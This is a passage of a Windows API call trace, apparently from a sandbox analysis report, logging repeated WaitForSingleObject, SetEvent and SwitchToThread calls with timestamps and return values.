	[0068.691] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.691] SetEvent (hEvent=0x6c) returned 1
	[0068.691] SwitchToThread () returned 1
	[0068.691] SetEvent (hEvent=0x6c) returned 1
	[0068.691] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.692] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.925] SetEvent (hEvent=0x6c) returned 1
	[0068.925] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.927] SetEvent (hEvent=0x78) returned 1
	[0068.927] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.984] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.988] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0068.989] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.041] SetEvent (hEvent=0x6c) returned 1
	[0069.041] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.042] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.066] SetEvent (hEvent=0x6c) returned 1
	[0069.066] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.068] SetEvent (hEvent=0x6c) returned 1
	[0069.068] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.068] SetEvent (hEvent=0x6c) returned 1
	[0069.068] SwitchToThread () returned 1
	[0069.069] SetEvent (hEvent=0x6c) returned 1
	[0069.069] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.069] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.116] SetEvent (hEvent=0x6c) returned 1
	[0069.116] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.118] SetEvent (hEvent=0x78) returned 1
	[0069.118] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.142] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.145] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.170] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.200] SetEvent (hEvent=0x6c) returned 1
	[0069.200] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.201] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.229] SetEvent (hEvent=0x6c) returned 1
	[0069.229] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.231] SetEvent (hEvent=0x6c) returned 1
	[0069.231] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.231] SetEvent (hEvent=0x6c) returned 1
	[0069.231] SwitchToThread () returned 1
	[0069.231] SetEvent (hEvent=0x6c) returned 1
	[0069.231] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.232] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.276] SetEvent (hEvent=0x6c) returned 1
	[0069.276] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.278] SetEvent (hEvent=0x78) returned 1
	[0069.278] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.302] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.306] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.579] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.664] SetEvent (hEvent=0x6c) returned 1
	[0069.664] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.674] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.836] SetEvent (hEvent=0x6c) returned 1
	[0069.836] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.853] SetEvent (hEvent=0x6c) returned 1
	[0069.853] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.853] SetEvent (hEvent=0x6c) returned 1
	[0069.853] SwitchToThread () returned 1
	[0069.853] SetEvent (hEvent=0x6c) returned 1
	[0069.854] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.854] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.900] SetEvent (hEvent=0x6c) returned 1
	[0069.900] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.902] SetEvent (hEvent=0x78) returned 1
	[0069.902] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.926] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.929] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.956] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.972] SetEvent (hEvent=0x6c) returned 1
	[0069.972] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.972] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0069.998] SetEvent (hEvent=0x6c) returned 1
	[0069.998] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.000] SetEvent (hEvent=0x6c) returned 1
	[0070.000] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.000] SetEvent (hEvent=0x6c) returned 1
	[0070.000] SwitchToThread () returned 1
	[0070.000] SetEvent (hEvent=0x6c) returned 1
	[0070.000] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.001] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.046] SetEvent (hEvent=0x6c) returned 1
	[0070.046] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.047] SetEvent (hEvent=0x78) returned 1
	[0070.047] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.071] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.075] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.111] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.127] SetEvent (hEvent=0x6c) returned 1
	[0070.127] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.127] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.157] SetEvent (hEvent=0x6c) returned 1
	[0070.157] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.158] SetEvent (hEvent=0x6c) returned 1
	[0070.158] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.159] SetEvent (hEvent=0x6c) returned 1
	[0070.159] SwitchToThread () returned 1
	[0070.159] SetEvent (hEvent=0x6c) returned 1
	[0070.159] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.159] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.261] SetEvent (hEvent=0x6c) returned 1
	[0070.261] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.305] SetEvent (hEvent=0x78) returned 1
	[0070.305] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.338] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.341] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.369] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.385] SetEvent (hEvent=0x6c) returned 1
	[0070.385] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.385] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.415] SetEvent (hEvent=0x6c) returned 1
	[0070.415] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.418] SetEvent (hEvent=0x6c) returned 1
	[0070.418] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.418] SetEvent (hEvent=0x6c) returned 1
	[0070.418] SwitchToThread () returned 1
	[0070.418] SetEvent (hEvent=0x6c) returned 1
	[0070.419] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.419] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.471] SetEvent (hEvent=0x6c) returned 1
	[0070.471] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.473] SetEvent (hEvent=0x78) returned 1
	[0070.474] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.497] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.500] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.535] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.542] SetEvent (hEvent=0x6c) returned 1
	[0070.542] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.542] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.568] SetEvent (hEvent=0x6c) returned 1
	[0070.568] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.570] SetEvent (hEvent=0x6c) returned 1
	[0070.570] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.570] SetEvent (hEvent=0x6c) returned 1
	[0070.570] SwitchToThread () returned 1
	[0070.570] SetEvent (hEvent=0x6c) returned 1
	[0070.570] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.571] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.615] SetEvent (hEvent=0x6c) returned 1
	[0070.615] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.616] SetEvent (hEvent=0x78) returned 1
	[0070.616] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.639] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.642] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.689] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.696] SetEvent (hEvent=0x6c) returned 1
	[0070.696] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.696] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.720] SetEvent (hEvent=0x6c) returned 1
	[0070.720] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.722] SetEvent (hEvent=0x6c) returned 1
	[0070.722] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.723] SetEvent (hEvent=0x6c) returned 1
	[0070.723] SwitchToThread () returned 1
	[0070.723] SetEvent (hEvent=0x6c) returned 1
	[0070.723] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.723] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.767] SetEvent (hEvent=0x6c) returned 1
	[0070.767] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.768] SetEvent (hEvent=0x78) returned 1
	[0070.768] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.792] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.794] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.820] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.852] SetEvent (hEvent=0x6c) returned 1
	[0070.852] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.852] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.882] SetEvent (hEvent=0x6c) returned 1
	[0070.882] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.884] SetEvent (hEvent=0x6c) returned 1
	[0070.884] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.884] SetEvent (hEvent=0x6c) returned 1
	[0070.884] SwitchToThread () returned 1
	[0070.884] SetEvent (hEvent=0x6c) returned 1
	[0070.884] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.885] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0070.974] SetEvent (hEvent=0x6c) returned 1
	[0070.974] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.223] SetEvent (hEvent=0x78) returned 1
	[0071.223] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.286] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.289] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.337] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.347] SetEvent (hEvent=0x6c) returned 1
	[0071.347] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.347] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.377] SetEvent (hEvent=0x6c) returned 1
	[0071.377] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.379] SetEvent (hEvent=0x6c) returned 1
	[0071.379] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.380] SetEvent (hEvent=0x6c) returned 1
	[0071.380] SwitchToThread () returned 1
	[0071.380] SetEvent (hEvent=0x6c) returned 1
	[0071.380] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.380] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.428] SetEvent (hEvent=0x6c) returned 1
	[0071.428] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.430] SetEvent (hEvent=0x78) returned 1
	[0071.430] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.457] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.462] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.479] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.511] SetEvent (hEvent=0x6c) returned 1
	[0071.511] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.511] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.538] SetEvent (hEvent=0x6c) returned 1
	[0071.538] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.540] SetEvent (hEvent=0x6c) returned 1
	[0071.540] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.541] SetEvent (hEvent=0x6c) returned 1
	[0071.541] SwitchToThread () returned 1
	[0071.541] SetEvent (hEvent=0x6c) returned 1
	[0071.541] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.541] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.585] SetEvent (hEvent=0xb4) returned 1
	[0071.585] SetEvent (hEvent=0x78) returned 1
	[0071.585] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.586] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.610] SetEvent (hEvent=0x6c) returned 1
	[0071.610] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.612] SetEvent (hEvent=0x6c) returned 1
	[0071.612] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.612] SetEvent (hEvent=0x6c) returned 1
	[0071.612] SwitchToThread () returned 1
	[0071.612] SetEvent (hEvent=0x6c) returned 1
	[0071.612] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.613] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.671] SetEvent (hEvent=0x6c) returned 1
	[0071.671] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.672] SetEvent (hEvent=0xb4) returned 1
	[0071.672] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.696] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.700] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.734] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.742] SetEvent (hEvent=0x6c) returned 1
	[0071.742] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.742] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.767] SetEvent (hEvent=0x6c) returned 1
	[0071.768] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.769] SetEvent (hEvent=0x6c) returned 1
	[0071.769] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.770] SetEvent (hEvent=0x6c) returned 1
	[0071.770] SwitchToThread () returned 1
	[0071.770] SetEvent (hEvent=0x6c) returned 1
	[0071.770] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.770] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.815] SetEvent (hEvent=0x6c) returned 1
	[0071.815] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.817] SetEvent (hEvent=0xb4) returned 1
	[0071.817] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.840] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.843] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.884] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.893] SetEvent (hEvent=0x6c) returned 1
	[0071.893] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.894] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.920] SetEvent (hEvent=0x6c) returned 1
	[0071.921] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.922] SetEvent (hEvent=0x6c) returned 1
	[0071.922] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.923] SetEvent (hEvent=0x6c) returned 1
	[0071.923] SwitchToThread () returned 1
	[0071.923] SetEvent (hEvent=0x6c) returned 1
	[0071.923] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.924] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.980] SetEvent (hEvent=0x6c) returned 1
	[0071.980] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0071.981] SetEvent (hEvent=0xb4) returned 1
	[0071.981] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.005] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.008] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.017] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.061] SetEvent (hEvent=0x6c) returned 1
	[0072.061] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.061] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.087] SetEvent (hEvent=0x6c) returned 1
	[0072.087] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.088] SetEvent (hEvent=0x6c) returned 1
	[0072.088] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.089] SetEvent (hEvent=0x6c) returned 1
	[0072.089] SwitchToThread () returned 1
	[0072.089] SetEvent (hEvent=0x6c) returned 1
	[0072.089] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.089] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.135] SetEvent (hEvent=0x6c) returned 1
	[0072.135] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.137] SetEvent (hEvent=0xb4) returned 1
	[0072.137] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.161] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.164] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.198] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.219] SetEvent (hEvent=0x6c) returned 1
	[0072.219] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.219] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.248] SetEvent (hEvent=0x6c) returned 1
	[0072.248] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.249] SetEvent (hEvent=0x6c) returned 1
	[0072.249] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.250] SetEvent (hEvent=0x6c) returned 1
	[0072.250] SwitchToThread () returned 1
	[0072.250] SetEvent (hEvent=0x6c) returned 1
	[0072.250] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.250] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.343] SetEvent (hEvent=0x6c) returned 1
	[0072.343] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.344] SetEvent (hEvent=0xb4) returned 1
	[0072.344] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.368] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.371] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.396] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.420] SetEvent (hEvent=0x6c) returned 1
	[0072.420] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.420] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.446] SetEvent (hEvent=0x6c) returned 1
	[0072.446] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.448] SetEvent (hEvent=0x6c) returned 1
	[0072.448] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.448] SetEvent (hEvent=0x6c) returned 1
	[0072.448] SwitchToThread () returned 1
	[0072.449] SetEvent (hEvent=0x6c) returned 1
	[0072.449] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.449] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.753] SetEvent (hEvent=0x6c) returned 1
	[0072.753] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.779] SetEvent (hEvent=0xb4) returned 1
	[0072.779] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.802] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.806] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.841] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.850] SetEvent (hEvent=0x6c) returned 1
	[0072.850] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.850] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.876] SetEvent (hEvent=0x6c) returned 1
	[0072.876] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.878] SetEvent (hEvent=0x6c) returned 1
	[0072.878] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.878] SetEvent (hEvent=0x6c) returned 1
	[0072.878] SwitchToThread () returned 1
	[0072.878] SetEvent (hEvent=0x6c) returned 1
	[0072.878] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.879] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.942] SetEvent (hEvent=0x6c) returned 1
	[0072.942] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.946] SetEvent (hEvent=0xb4) returned 1
	[0072.946] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.970] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0072.973] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.010] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.016] SetEvent (hEvent=0xb4) returned 1
	[0073.017] SetEvent (hEvent=0x8c) returned 1
	[0073.017] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0073.019] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.019] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0073.019] SetEvent (hEvent=0xb4) returned 1
	[0073.019] SetEvent (hEvent=0x8c) returned 1
	[0073.019] SetEvent (hEvent=0x78) returned 1
	[0073.019] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.020] SetEvent (hEvent=0xa8) returned 1
	[0073.020] SetEvent (hEvent=0x78) returned 1
	[0073.020] SetEvent (hEvent=0x6c) returned 1
	[0073.020] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.038] SetEvent (hEvent=0x6c) returned 1
	[0073.038] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.043] SetEvent (hEvent=0x6c) returned 1
	[0073.043] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.044] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.047] SetEvent (hEvent=0x6c) returned 1
	[0073.047] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.048] SetEvent (hEvent=0x78) returned 1
	[0073.048] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.090] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.111] SetEvent (hEvent=0x6c) returned 1
	[0073.111] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.115] SetEvent (hEvent=0x6c) returned 1
	[0073.116] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.116] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.119] SetEvent (hEvent=0x6c) returned 1
	[0073.119] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
